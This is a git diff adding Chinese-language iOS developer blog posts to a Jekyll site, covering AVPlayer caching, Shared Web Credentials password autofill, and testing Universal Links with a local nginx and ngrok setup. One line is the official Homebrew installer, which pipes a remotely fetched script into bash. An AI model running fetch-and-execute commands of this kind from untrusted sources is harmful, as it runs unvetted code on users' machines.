ChaChaPoly.seal(self.mediaData, using: AssetData.encryptionKey).combined { + coder.encode(encryptionData, forKey: #keyPath(AssetData.mediaData)) + } else { + // + } + } + + required init?(coder: NSCoder) { + super.init() + ... + if let mediaData = coder.decodeObject(forKey: #keyPath(AssetData.mediaData)) as? Data { + if #available(iOS 13.0, *), + let sealedBox = try? ChaChaPoly.SealedBox(combined: mediaData), + let decryptedData = try? ChaChaPoly.open(sealedBox, using: AssetData.encryptionKey) { + self.mediaData = decryptedData + } else { + // + } + } else { + // + } + } +} +``` +#### PINCache 相關操作 + +PINCache 包含 PINMemoryCache 和 PINDiskCache,PINCache 會幫我們處理從檔案讀到 Memory 或從 Memory 寫入檔案的事,我們只需要對 PINCache 進行操作。 + +在模擬器中查找 Cache 檔案位置: + + +![](/assets/6ce488898003/1*dUWZRwGTRhOAuxnqWJBvog.png) + + +使用 `NSHomeDirectory()` 取得模擬器檔案路徑 + + +![](/assets/6ce488898003/1*qXzny7KAwK20E6ma8zJUnw.png) + + +Finder \-> 前往 \-> 貼上路徑 + + +![](/assets/6ce488898003/1*IcyAHKsTgaG-xqu1QzQq6Q.png) + + +在 Library \-> Caches \-> com\.pinterest\.PINDiskCache\.ResourceLoader 就是我們建的 Resource Loader Cache 目錄。 + +`PINCache(name: “ResourceLoader”)` 其中的 name 就是目錄名稱。 + +也可以指定 rootPath ,目錄就可以改到 Documents 底下(不怕被系統清掉)。 + +**設定 PINCache 最大上限:** +```swift + PINCacheAssetDataManager.Cache.diskCache.byteCount = 300 * 1024 * 1024 // max: 300mb + PINCacheAssetDataManager.Cache.diskCache.byteLimit = 90 * 60 * 60 * 24 // 90 days +``` + + +![系統預設上限](/assets/6ce488898003/1*kjZWSBU__E-2jTYyyjWZEA.png) + +系統預設上限 + +設 0 的話就不會主動刪除檔案。 +### 後記 + +原先太小看這個功能的困難度,以為三兩下就能處理好;結果吃盡苦頭,大概又多花了兩週處理資料儲存的問題,不過也就此徹底了解整個 Resource Loader 運作機制、 GCD 、Data。 +### 參考資料 + +最後附上研究如何實作的參考資料 +1. [iOS AVPlayer 视频缓存的设计与实现](http://chuquan.me/2019/12/03/ios-avplayer-support-cache/){:target="_blank"} 僅講原理 +2. [基于AVPlayer实现音视频播放和缓存,支持视频画面的同步输出](https://caisanze.com/post/swift-avplayer/){:target="_blank"} \[ [SZAVPlayer](https://github.com/eroscai/SZAVPlayer){:target="_blank"} \] 有附程式(很完整,但很複雜) +3. [CachingPlayerItem](https://github.com/neekeetab/CachingPlayerItem/blob/7d998b8561693cf51077f0891ed240e92bec415e/CachingPlayerItem.swift){:target="_blank"} (簡易實現,較好懂但不完整) +4. [可能是目前最好的 AVPlayer 音视频缓存方案 AVAssetResourceLoaderDelegate](https://www.jianshu.com/p/28157247d6a7){:target="_blank"} +5. [仿抖音 Swift 版](https://sshiqiao.github.io/document/douyin-swift.html#1){:target="_blank"} \[ [Github](https://github.com/sshiqiao/douyin-ios-swift){:target="_blank"} \](蠻有意思的專案,復刻抖音 APP;裡面也有用到 Resource Loader) +6. [iOS HLS Cache 實踐方法探究之旅](../d796bf8e661e/) + +### 延伸 +- [DLCachePlayer](https://github.com/dminoror/DLCachePlayer){:target="_blank"} \(Objective\-C 版\) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/avplayer-%E5%AF%A6%E8%B8%90%E6%9C%AC%E5%9C%B0-cache-%E5%8A%9F%E8%83%BD%E5%A4%A7%E5%85%A8-6ce488898003){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-02-02-948ed34efa09.md b/_posts/zmediumtomarkdown/2021-02-02-948ed34efa09.md new file mode 100644 index 000000000..9a0b25c56 --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-02-02-948ed34efa09.md @@ -0,0 +1,345 @@ +--- +title: "iOS 跨平台帳號密碼整合加強登入體驗" +author: "ZhgChgLi" +date: 2021-02-02T14:13:50.686+0000 +last_modified_at: 2024-04-13T08:48:34.721+0000 +categories: "ZRealm Dev." +tags: ["ios","ios-app-development","password-security","web-credential","sign-in-with-apple"] +description: "比 Sign in with Apple 更值得加入的功能" +image: + path: /assets/948ed34efa09/1*QRYrbCDXcDmUU9fK66YgAA.jpeg +render_with_liquid: false +--- + +### iOS 跨平台帳號密碼整合,加強登入體驗 + +除 Sign in with Apple 也值得加入的功能 + + + +![Photo by [Dan Nelson](https://unsplash.com/@danny144?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/948ed34efa09/1*QRYrbCDXcDmUU9fK66YgAA.jpeg) + +Photo by [Dan Nelson](https://unsplash.com/@danny144?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +### 功能 + +在同時有網站又有 APP 的服務中最常遇到的問題就是使用者在網站登入註冊過,且有記憶密碼;但被引導安裝 APP 後,打開登入要從頭輸入帳號密碼非常不方便;此功能就是能將已存在在手機的帳號密碼自動帶入到與網站關聯的 APP 之中,加速使用者登入流程。 +### 效果圖 + + +![](/assets/948ed34efa09/1*z-zjGdt17LYCr8Am6kekFA.gif) + + +不囉唆,先上完成效果圖;第一眼看到可能會以為是 iOS ≥ 11 Password AutoFill 功能;不過請您仔細看,鍵盤並沒有跳出來,而且我是點擊「選擇已存密碼」按鈕才跳出帳號密碼選擇視窗的。 + +既然提到了 Password AutoFill 那就先讓我賣個關子,先介紹 Password AutoFill 和如何設置吧! +### Password AutoFill + + +![](/assets/948ed34efa09/1*BZQcOoRV5IcRuI2HsSmKRQ.gif) + + +支援度:iOS ≥ 11 + +到如今已經 iOS 14 了,這個功能已經非常常見沒什麼特別的;在 APP 中的帳號密碼登入頁,叫出鍵盤輸入時可以快速選擇網站版服務的帳號密碼,選擇後就能自動帶入,快速登入! +#### 那麼 APP 與 Web 之間是如何相認的呢? + +Associated Domains!我們在 APP 中指定 Associated Domains 並在網站上上傳 apple\-app\-site\-association 檔案,兩邊就能相認。 + +**1\.在專案設定中的「Signing & Capabilities」\-> 左上「\+ Capabilities」\->「Associated Domains」** + + +![](/assets/948ed34efa09/1*0oVHvGSzUA5cohhsSyuamA.png) + + +新增 `webcredentials:你的網站域名` \(ex: `webcredentials:google.com` \)。 + +**2\.進入 [蘋果開發者後台](https://developer.apple.com/account/){:target="_blank"}** + +在「 **Membership** 」Tab 地方記錄下「 **Team ID** 」 + + +![](/assets/948ed34efa09/1*LLlPP2VVCinVdrMsXWvj3g.png) + + +**3\.進入「Certificates, Identifiers & Profiles」\->「Identifiers」\-> 找到你的專案 \-> 打開「Associated Domains」功能** + + +![](/assets/948ed34efa09/1*ssGVeTV7AAfkbf1iYeQX7Q.png) + + +**APP 端設定完成!** + +**4\.Web網站端設定** + +建立一個名為「 **apple\-app\-site\-association** 」的檔案\(無副檔名\),使用文字編輯器編輯,並輸入以下內容: +```json +{ + "webcredentials": { + "apps": [ + "TeamID.BundleId" + ] + } +} +``` + +將 `TeamID.BundleId` 換成你的專案設定 \(ex: TeamID = `ABCD` , BundleID = `li.zhgchg.demoapp` => `ABCD.li.zhgchg.demoapp` \) + +將此檔案上傳到網站 `根目錄` 或 `/.well-known` 目錄下,假設你的 `webcredentials 網站域名` 是設 `google.com` 則此檔案就要是 `google.com/apple-app-site-association` 或 `google.com/.well-know/apple-app-site-association` 有辦法存取到的。 + +**補充:Subdomains** + + +![](/assets/948ed34efa09/1*ObLXi_XGDDR4A3Mo1WdIEA.png) + + +摘錄官方文件,如果是 subdomains 則都須列在 Associated Domains 之中。 + +**Web 端設定完成!** + +**補充:applinks** + +這邊有發現如果有設過 universal link `applinks` ,其實不用再多加 `webcredentials` 部分也能有效果;但我們還是照文件來吧,難保之後不會有其他問題。 +#### 回到程式 + +Code 部分,我們只需要將 TextField 設為 : +```swift +usernameTextField.textContentType = .username +passwordTextField.textContentType = .password +``` + +如果是新註冊,密碼確認欄位可使用: +```swift +repeatPasswordTextField.textContentType = .newPassword +``` + +這時候再重 Build & Run APP 後,在輸入帳號時鍵盤上方就會出現同個網站下已存密碼的選項了。 +#### 完成! + + +![](/assets/948ed34efa09/1*VKsfZLnzoNno-IgPRp-odg.jpeg) + +#### 沒出現? + +可能是沒打開自動填寫密碼功能(模擬器預設是關閉),請到「設定」\->「密碼」\->「自動填寫密碼」\->打開「自動填寫密碼」。 + + +![](/assets/948ed34efa09/1*a0vCvZA6PajjOwc8DFymIg.jpeg) + + +抑或是該網站沒有已存在的密碼,一樣可在「設定」\->「密碼」\-> 右上角「\+ 新增」\-> 新增。 + + +![](/assets/948ed34efa09/1*kOsFAy-UifNMor84LGEovw.jpeg) + +### 進入主題 + +前菜 Password AutoFill 介紹完之後,再來進入本篇主題;如何達到效果圖中的效果呢。 +#### [Shared Web Credentials](https://developer.apple.com/documentation/security/shared_web_credentials){:target="_blank"} + +始於 iOS 8\.0 只是之前很少看到 APP 使用,早在 Password AutoFill 出來之前其實就能使用此 API 整合網站帳號密碼讓使用者快速選擇。 + +Shared Web Credentials 除了能讀取帳號密碼,還能新增帳號密碼、對已存的帳號密碼進行修改、刪除。 +#### 設定 + + +> **_⚠️ 設定部分一樣要設好 Associated Domains,同前述 Password AutoFill 設定。_** + + + + + + +> 所以可以說是 Password AutoFill 功能的加強版!! + + + + +因為一樣要先設好 Password AutoFill 需要的環境才能使用此「進階」功能。 +#### 讀取 + +讀取使用 `SecRequestSharedWebCredential` 方法進行操作: +```swift +SecRequestSharedWebCredential(nil, nil) { (credentials, error) in + guard error == nil else { + DispatchQueue.main.async { + //alert error + } + return + } + + guard CFArrayGetCount(credentials) > 0, + let dict = unsafeBitCast(CFArrayGetValueAtIndex(credentials, 0), to: CFDictionary.self) as? Dictionary, + let account = dict[kSecAttrAccount as String], + let password = dict[kSecSharedPassword as String] else { + DispatchQueue.main.async { + //alert error + } + return + } + + DispatchQueue.main.async { + //fill account,password to textfield + } +} +``` + +`SecRequestSharedWebCredential(fqdn, account, completionHandler)` +- **fqdn** 如果有多個 `webcredentials` domain 可以指定某一個,或使用 null 不指定 +- **account** 指定要查某一個帳號,使用 null 不指定 + + + +![](/assets/948ed34efa09/1*PNRbIoN3vr64ZstYphpR9w.gif) + + +效果圖。(你可能有發現跟開始的效果圖不一樣) + + +> **_⚠️ 因為此讀取方法已在 iOS 14 被標示 Deprecated!_** + + +> **_⚠️ 因為此讀取方法已在 iOS 14 被標示 Deprecated!_** + + +> **_⚠️ 因為此讀取方法已在 iOS 14 被標示 Deprecated!_** + + + + + +> `"Use ASAuthorizationController to make an ASAuthorizationPasswordRequest (AuthenticationServices framework)"` + + + + + +此方法僅適用 iOS 8 ~ iOS 14,iOS 13 之後可改用同 **Sign in with Apple** 的 API — 「 **AuthenticationServices** 」 +#### **AuthenticationServices 讀取方式** + +支援度 iOS ≥ 13 +```swift +import AuthenticationServices + +class ViewController: UIViewController { + override func viewDidLoad() { + super.viewDidLoad() + //... + let request: ASAuthorizationPasswordRequest = ASAuthorizationPasswordProvider().createRequest() + let controller = ASAuthorizationController(authorizationRequests: [request]) + controller.delegate = self + controller.performRequests() + //... + } +} + +extension ViewController: ASAuthorizationControllerDelegate { + func authorizationController(controller: ASAuthorizationController, didCompleteWithAuthorization authorization: ASAuthorization) { + + if let credential = authorization.credential as? ASPasswordCredential { + // fill credential.user, credential.password to textfield + } + // else if as? ASAuthorizationAppleIDCredential... sign in with apple + } + func authorizationController(controller: ASAuthorizationController, didCompleteWithError error: Error) { + // alert error + } +} +``` + + +![](/assets/948ed34efa09/1*z-zjGdt17LYCr8Am6kekFA.gif) + + +效果圖,可以看到新的做法在流程上、顯示上都能跟 Sign in with Apple 整合得更好。 + + +> **_⚠️ 此登入無法取代_** _Sign in with Apple(兩個是不同東西)。_ + + + + +#### 寫入帳號密碼到「密碼」 + +被 Deprecated 的只有讀取的部分,新增、刪除、編輯的部分都還是照舊能用。 + +新增、刪除、編輯的部分使用 `SecAddSharedWebCredential` 進行操作。 +```swift +SecAddSharedWebCredential(domain as CFString, account as CFString, password as CFString?) { (error) in + DispatchQueue.main.async { + guard error == nil else { + // alert error + return + } + // alert success + } +} +``` + +`SecAddSharedWebCredential(fqdn, account, password, completionHandler)` +- **fqdn** 可隨意指定要存入的 domain 不一定要在 `webcredentials` 中 +- **account** 指定要新增、修改、刪除的帳號 +- 如果要刪除資料則將 **password** 帶入 **`nil`** +- 處理邏輯: +\- account 存在&有帶入 password = 修改 password +\- account 存在&password 帶入 nil = 從 domain 刪除 account, password +\- account 不存在&有帶入 password = 新增 account, password 到 domain + + + +![](/assets/948ed34efa09/1*dGN5rv4jZ-wlY9HYoymNCQ.png) + + + +> **_⚠️_** _另外也不是能讓你在背景偷修改的,每次修改都會跳出提示框提示使用者,使用者按「更新密碼」才會真的修改資料。_ + + + + +#### 密碼產生器 + +最後一個小功能,密碼產生器。 + +使用 `SecCreateSharedWebCredentialPassword()` 進行操作。 +```swift +let password = SecCreateSharedWebCredentialPassword() as String? ?? "" +``` + + +![](/assets/948ed34efa09/1*Xd-CiH62N354u6JPQ4b8cQ.png) + + +產生器產生出來的 Password 由英文大小寫及數字並使用「\-」組成 \(ex: Jpn\-4t2\-gaF\-dYk\)。 +### 完整測試專案下載 + + +[![](https://opengraph.githubassets.com/095b2f29388301a3e997e079aedecc973eae5656fc782e8889e7f462d7875681/zhgchgli0718/webcredentialsDemo)](https://github.com/zhgchgli0718/webcredentialsDemo){:target="_blank"} + + + +![](/assets/948ed34efa09/1*B9q4goRZPLvW4613OnW2oA.png) + +### 美中不足 + +如果有使用第三方密碼管理工具\(EX: onepass、lastpass\)的朋友可能會發現,如果是鍵盤的 Password AutoFill 能支援顯示&輸入,但是在 AuthenticationServices 或 SecRequestSharedWebCredential 當中都沒有顯示出來;不確定有沒有辦法達成這個需求。 + + +![](/assets/948ed34efa09/1*o_UTxA4Epty8XAM6cOsiUw.jpeg) + +### 結束 + +感謝大家閱讀,也感謝 [saiday](https://twitter.com/saiday){:target="_blank"} 、街聲讓我知道有這個功能 XD。 + +還有 XCode ≥ 12\.5 模擬器新增錄影,並支援儲存成 GIF 功能太好用啦! + + +![](/assets/948ed34efa09/1*LUaFOoZHai41oFNFkh6b4A.jpeg) + + +在模擬器上按「Command」\+「R」開始錄影,按一下紅點停止錄影;在右下角滑出的預覽圖上按「右鍵」\->「Save as Animated GIF」即可存成 GIF 然後直接貼到文章內! + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/ios-%E8%B7%A8%E5%B9%B3%E5%8F%B0%E5%B8%B3%E8%99%9F%E5%AF%86%E7%A2%BC%E6%95%B4%E5%90%88%E5%8A%A0%E5%BC%B7%E7%99%BB%E5%85%A5%E9%AB%94%E9%A9%97-948ed34efa09){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2021-02-04-12c5026da33d.md b/_posts/zmediumtomarkdown/2021-02-04-12c5026da33d.md new file mode 100644 index 000000000..b37dfb65c --- /dev/null +++ b/_posts/zmediumtomarkdown/2021-02-04-12c5026da33d.md @@ -0,0 +1,482 @@ +--- +title: "Universal Links 新鮮事" +author: "ZhgChgLi" +date: 2021-02-04T03:57:25.914+0000 +last_modified_at: 2024-04-13T08:52:00.873+0000 +categories: "ZRealm Dev." +tags: ["ios","ios-app-development","universal-links","app-store","deeplink"] +description: "iOS 13, iOS 14 Universal Links 新鮮事&建立本地測試環境" +image: + path: /assets/12c5026da33d/1*HYAd1aal5Et1A-Qzs6VAtQ.jpeg +render_with_liquid: false +--- + +### Universal Links 新鮮事 + +iOS 13, iOS 14 Universal Links 新鮮事&建立本地測試環境 + + + +![Photo by [NASA](https://unsplash.com/@nasa?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/12c5026da33d/1*HYAd1aal5Et1A-Qzs6VAtQ.jpeg) + +Photo by [NASA](https://unsplash.com/@nasa?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +### 前言 + +對於一個有網站又有 APP 的服務, Universal Links 的功能對於使用者體驗來說無比的重要,能達到 Web 與 APP 之間的無縫接軌;但一直以來都只有簡單設置,沒有太多的著墨;前陣子剛好又遇到花了點時間研究了一下,把一些有趣的事記錄下來。 +### 常見考量 + +經手過的服務,對於實作 Universal Links 的考量都是 APP 上並沒有實作完整的網站功能,Universal Links 認的是域名,只要域名匹配到就會開啟 APP;關於這個問題可以下 NOT 排除 APP 上沒有相應功能的網址,若網站服務網址很極端,那乾脆新建一個 subdomain 用來做 Universal Links。 +### apple\-app\-site\-association 何時更新? +- iOS < 14,APP 在第一次安裝、更新時會去詢問 Universal Links 網站的 apple\-app\-site\-association。 +- iOS ≥ 14 ,則是由 Apple CDN 做快取定期更新 Universal Links 網站的 apple\-app\-site\-association;APP 在第一次安裝、更新時會去跟 Apple CDN 拿取;但這邊就會有個問題,Apple CDN 的 apple\-app\-site\-association 可能還是舊的。 + + +關於 Apple CDN 的更新機制,查了一下文件,沒有提到;查了下 [討論](https://developer.apple.com/forums/thread/651737){:target="_blank"} ,官方也只回應「會定期更新」細節之後會發佈在文件…但至今依然還沒看到。 + + +> _我自己覺得應該最慢 48 小時,就會更新吧。。。所以下次有更改到 apple\-app\-site\-association 的話建議在 APP 上架更新前幾天就先改好 apple\-app\-site\-association 上線。_ + + + + +#### apple\-app\-site\-association Apple CDN 確認: +``` +Headers: HOST=app-site-association.cdn-apple.com +GET https://app-site-association.cdn-apple.com/a/v1/你的網域 +``` + + +![](/assets/12c5026da33d/1*dgDfMgkFPUfeuAuEhl7RFQ.png) + + +可以取得當前 Apple CDN 上的版本長怎樣。(記得加上 Request Header `Host=https://app-site-association.cdn-apple.com/` ) +#### iOS ≥ 14 Debug + +因前述的 CDN 問題,那我們在開發階段該如何 debug 呢? + +還好這部分蘋果有給解決方法,不然沒辦法即時更新真的要吐血了;我們只需要再 `applinks:domain.com` 加上 `?mode=developer` 即可,另外還有 `managed(for 企業內部 APP)` , or `developer+managed` 模式可設定。 + + +![](/assets/12c5026da33d/1*z4R7wEHHAlLyF1rdAEAmew.png) + + +加上 mode=developer 後,APP 在模擬器上每次 Build & Run 時都會直接跟網站拿最新的 app\-site\-association 來用。 + +如果要 Build & Run 在實機則要先去「設定」\->「開發者」\-> 打開「Associated Domains Development」選項即可。 + + +![](/assets/12c5026da33d/1*gj4Qm445mFERa25t6PZV1Q.jpeg) + + + +> _⚠️ **這邊有個坑** ,app\-site\-association 可以放在網站根目錄或是 `./.well-known` 目錄下;但在 mode=developer 下他只會問 `./.well-known/app-site-association` ,害我以為怎麼沒效。_ + + + + +### 開發測試 + +如果是 iOS <14 記得有更改過 app\-site\-association 的話要刪掉再重 Build & Run APP 才會去抓最新的回來,iOS ≥ 14 請參考前述方法加上 mode=developer。 + +app\-site\-association 內容的修改,好一點的話可以自行修改伺服器上的檔;但對於有時候碰不到伺服器端的我們來說,如果要做 universal links 的測試會非常的麻煩,要不停的麻煩後端同事幫忙,變成要很確定 app\-site\-association 內容後一次上線,一直改來改去會把同事逼瘋。 +#### 在本地建一個模擬環境 + +為了解決上述問題,我們可以在本地起一個小服務。 + +首先在 mac 上安裝 nginx: +```bash +brew install nginx +``` + +如果沒安裝過 [brew](https://brew.sh/index_zh-tw){:target="_blank"} 可先安裝: +```bash +/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" +``` + +安裝完 nginx 後,前往 `/usr/local/etc/nginx/` 打開編輯 `nginx.conf` 檔案: +```perl +...略 +server { + listen 8080; + server_name localhost; +#charset koi8-r; +#access_log logs/host.access.log main; +location / { + root /Users/zhgchgli/Documents; + index index.html index.htm; + } +...略 +``` + +大概在第 44 行的位置將 location / 裡的 root 換成你想要的目錄位置(這邊以 Documents 為例)。 + + +> _listen on **8080** port ,如果沒有衝突則不需要修改。_ + + + + + +儲存修改完後,下指令啟動 nginx: +```bash +nginx +``` + +若要停止時,則下: +```bash +nginx -s stop +``` + +停止。 + +如果有更改 `nginx.conf` 記得要下: +```bash +nginx -s reload +``` + +重新啟用服務。 + +建立一個 `./.well-known` 目錄在剛設定的 `root` 目錄內,並將 `apple-app-site-association` 檔案放到 `./.well-known` 內。 + + +> _⚠️ `.well-known` 建立後若消失,請注意 Mac 要打開「顯示隱藏資料夾」功能:_ + + + + + +在 terminal 下: +```bash +defaults write com.apple.finder AppleShowAllFiles TRUE +``` + +再下 killall finder 重啟所有 finder,即可。 + + +![](/assets/12c5026da33d/1*AzM6lK0kzT-M-2OdXoyIXA.png) + + + +> _⚠️_ `apple-app-site-association` _看起來沒有副檔名,但實際還是有 \.json 副檔名:_ + + + + + +在檔案上按右鍵 \-> 「取得資訊 Get Info」\->「Name & Extension」\-> 檢查有無副檔名&同時可取消勾選「隱藏檔案類型 Hide extension」 + + +![](/assets/12c5026da33d/1*UFwnnjCot8xRqslhdQktKg.png) + + +沒問題後,打開瀏覽器測試以下連結是否正常下載 apple\-app\-site\-association: +``` +http://localhost:8080/.well-known/apple-app-site-association +``` + +如果能正常下載代表本地環境模擬成功! + + +> _如果出現 404/403 錯誤則請檢查 root 目錄是否正確、目錄/檔案是否有放入、apple\-app\-site\-association 是否不小心帶了副檔名\( \.json\)。_ + + + + + +**註冊&下載 [Ngrok](http://ngrok.com){:target="_blank"}** + + +![[ngrok\.com](https://dashboard.ngrok.com/get-started/setup){:target="_blank"}](/assets/12c5026da33d/1*Shk9u59HgRRSiMw0wt899Q.png) + +[ngrok\.com](https://dashboard.ngrok.com/get-started/setup){:target="_blank"} + + +![解壓縮出 ngrok 執行檔](/assets/12c5026da33d/1*ljBqKrOFb9Gq48dO0GeIeA.png) + +解壓縮出 ngrok 執行檔 + + +![進入 [Dashboard 頁面](https://dashboard.ngrok.com/get-started/setup){:target="_blank"} 執行 Config 設定](/assets/12c5026da33d/1*fnEUyJMtVhUGurU5vX5K6A.png) + +進入 [Dashboard 頁面](https://dashboard.ngrok.com/get-started/setup){:target="_blank"} 執行 Config 設定 +```bash +./ngrok authtoken 你的TOKEN +``` + +設定好之後,下: +```bash +./ngrok http 8080 +``` + + +> _因我們的 nginx 在 8080 port。_ + + + + + +啟動服務。 + + +![](/assets/12c5026da33d/1*8i6EP7KKwxihLZ1PG1RUGw.png) + + +這時候我們會看到一個服務啟動狀態視窗,可以從 Forwarding 中取的此次分配到的公開網址。 + + +> _⚠️ **每次啟動分配到的網址都會變,所以僅能作為開發測試使用。**_ + + +> _**這邊以此次分配到的網址** `https://ec87f78bec0f.ngrok.io/` 為例_ + + + + + +回到瀏覽器改輸入 `https://ec87f78bec0f.ngrok.io/.well-known/apple-app-site-association` 看看能不能正常下載瀏覽 apple\-app\-site\-association 檔案,如果沒問題則可繼續下一步。 + +將 ngrok 分配到的網址輸入到 Associated Domains applinks: 設定中。 + + +![](/assets/12c5026da33d/1*K5Eio0Yi7nNHQuLSuIsYeA.png) + + +記得帶上 `?mode=developer` 方便我們測試。 + +**重新 Build & Run APP:** + + +![](/assets/12c5026da33d/1*VFIKU-UxCHNQVnf8DOV8Qw.png) + + +打開瀏覽器輸入相應的 Universal Links 測試網址(EX: `https://ec87f78bec0f.ngrok.io/buy/123` )查看效果。 + + +> _頁面出現 404 不要理他,因為我們實際沒有那一頁;我們只是要測 iOS 對網址匹配的功能符不符合我們預期;如果上方有出現 「Open」代表匹配成功,另外也可以測 NOT 反向的狀況。_ + + + + + +點擊「Open」後開啟 APP \-> 測試成功! + + +> _開發階段都測試 OK 後,將確認修改過之後的 apple\-app\-site\-association 檔案再交給後端上傳到伺服器就能確保萬無一失囉~_ + + +> _最後記得將 Associated Domains applinks: 改為正試機網址。_ + + + + + +另外我們也可以從 ngrok 運行狀態視窗中看到每次 APP Build & Run 有沒有跟我們要 apple\-app\-site\-association 檔案: + + +![](/assets/12c5026da33d/1*d6yvnEaiOPbqy57PDMe2Mw.png) + +### Applinks 設定內容 +#### iOS < 13 之前: + +設定檔較簡單,只有以下內容可設定: +```json +{ + "applinks": { + "apps": [], + "details": [ + { + "appID" : "TeamID.BundleID", + "paths": [ + "NOT /help/", + "*" + ] + } + ] + } +} +``` + +將 `TeamID.BundleId` 換成你的專案設定 \(ex: TeamID = `ABCD` , BundleID = `li.zhgchg.demoapp` => `ABCD.li.zhgchg.demoapp` \)。 + + +> _如果有多個 appID 則要重複加入多組。_ + + + + + +**paths 部分則為匹配規則,能支援以下幾種語法:** +- `*` :匹配 0~多個字元,ex: `/home/*` \(home/alan…\) +- `?` :匹配 1 個字元,ex: `201?` \(2010~2019\) +- `?*` :匹配 1 個~多個字元,ex: `/?*` \(/test、/home\. \. \) +- `NOT` :反向排除,ex: `NOT /help` \(any url but /help\) + + +更多玩法組合可自己依照實際情況決定,更多資訊可參考 [官方文件](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW1){:target="_blank"} 。 + + +> _\- 請注意,他不是 Regex,不支援任何 Regex 寫法。_ + + +> _\- 舊版不支援 Query \(?name=123\)、Anchor \( \#title\)。_ + + +> _\- 中文網址須先轉成 ASCII 後才能放在 paths 中 \(所有url 字元均要是 ASCII\)。_ + + + + +#### iOS ≥ 13 之後: + +強化了設定檔內容的功能,多增加支援 Query/Anchor、字符集、編碼處理。 +```json +"applinks": { + "details": [ + { + "appIDs": [ "TeamID.BundleID" ], + "components": [ + { + "#": "no_universal_links", + "exclude": true, + "comment": "Matches any URL whose fragment equals no_universal_links and instructs the system not to open it as a universal link" + }, + { + "/": "/buy/*", + "comment": "Matches any URL whose path starts with /buy/" + }, + { + "/": "/help/website/*", + "exclude": true, + "comment": "Matches any URL whose path starts with /help/website/ and instructs the system not to open it as a universal link" + }, + { + "/": "/help/*", + "?": { "articleNumber": "????" }, + "comment": "Matches any URL whose path starts with /help/ and that has a query item with name 'articleNumber' and a value of exactly 4 characters" + } + ] + } + ] +} +``` + +轉貼自官方文件,可以看到格式有所改變。 + +`appIDs` 為陣列,可放入多組 appID,這樣就不用像以前一樣只能整個區塊重複輸入。 + + +> _WWDC 有提到與舊版兼容, **當 iOS ≥ 13 有讀到新的格式就會忽略舊的 paths** 。_ + + + + + +匹配規則改放在 `components` 中;支援 3 種類型: +- `/` : URL +- `?` :Query,ex: ?name=123&place=tw +- `#` :Anchor,ex: \#title + + +並且可以搭配使用,假設今天 `/user/?id=100#detail` 才需要跳到 APP 則可寫成: +```json +{ + "/": "/user/*", + "?": { "id": "*" }, + "#": "detail" +} +``` + +其中匹配語法同原本語法,也是支援 `*` `?` `?*` 。 + +新增 `comment` 註解欄位,可輸入註解方便辨識。(但請注意這是公開的,別人也看得到) + +反向排除則改為指定 `exclude: true` 。 + +新增 `caseSensitive` 指定功能,可指定匹配規則是否對大小寫敏感, `預設:true` ,有這需求的話可以少寫許多規則。 + +新增 `percentEncoded` 前面說到的,舊版需要先將網址轉為 ASCII 放到 paths 中(如果是中文字會變得很醜無法辨識);這個參數就是是否要幫我們自動 encode, `預設是 true` 。 +假設是中文網址就能直接放入了\(ex: `/客服中心` \)。 + +詳細官方文件可 [參考此](https://developer.apple.com/documentation/bundleresources/applinks/details/components){:target="_blank"} 。 + +**預設字符集:** + +這算是這次更新蠻重要的功能之一,新增支援字符集。 + +系統幫我們定義好的字符集: +- `$(alpha)` :A\-Z 和 a\-z +- `$(upper)` :A\-Z +- `$(lower)` :a\-z +- `$(alnum)` :A\-Z 和 a\-z 和 0–9 +- `$(digit)` :0–9 +- `$(xdigit)` :十六進制字符,0–9 和 a,b,c,d,e,f,A,B,C,D,E,F +- `$(region)` :ISO 地區編碼 [isoRegionCodes](https://developer.apple.com/documentation/foundation/locale/2293271-isoregioncodes){:target="_blank"} ,Ex: TW +- `$(lang)` :ISO 語言編碼 [isoLanguageCodes](https://developer.apple.com/documentation/foundation/locale/2293744-isolanguagecodes){:target="_blank"} ,Ex: zh + + +假設我們的網址有多語系,我想要支援 Universal links 時,可以這樣設定: +```json +"components": [ + { "/" : "/$(lang)-$(region)/$(food)/home" } +] +``` + +這樣不管是 `/zh-TW/home` 、 `/en-US/home` 都能支援,非常方便,不用自己寫一整排規則! + +**自訂字符集:** + +除了預設字符集之外,我們也能自訂字符集,增加設定檔復用、可讀性。 + +在 `applinks` 中加入 `substitutionVariables` 即可: +```json +{ + "applinks": { + "substitutionVariables": { + "food": [ "burrito", "pizza", "sushi", "samosa" ] + }, + "details": [{ + "appIDs": [ ... ], + "components": [ + { "/" : "/$(food)/" } + ] + }] + } +} +``` + +範例中自訂了一個 `food` 字符集,並在後續 `components` 中使用。 + +以上範例可匹配 `/burrito` , `/pizza` , `/sushi` , `/samosa` 。 + +細節可參考 [此篇](https://developer.apple.com/documentation/bundleresources/applinks/substitutionvariables){:target="_blank"} 官方文件。 +#### 沒有靈感? + +如果對設定檔內容沒有靈感,可偷偷參考其他網站福的內容,只要在服務網站首頁網址加上 `/app-site-association` 或 `/.well-known/app-site-association` 即可讀取他們的設定。 + +例如: [https://www\.netflix\.com/apple\-app\-site\-association](https://www.netflix.com/apple-app-site-association){:target="_blank"} +### 補充 + +在有使用 `SceneDelegate` 的情況下,open universal link 的進入點是在SceneDelegate 中: +```swift +func scene(_ scene: UIScene, continue userActivity: NSUserActivity) +``` + +**而非 AppDelegate 的:** +```swift +func application(_ application: UIApplication, continue userActivity: NSUserActivity, restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) 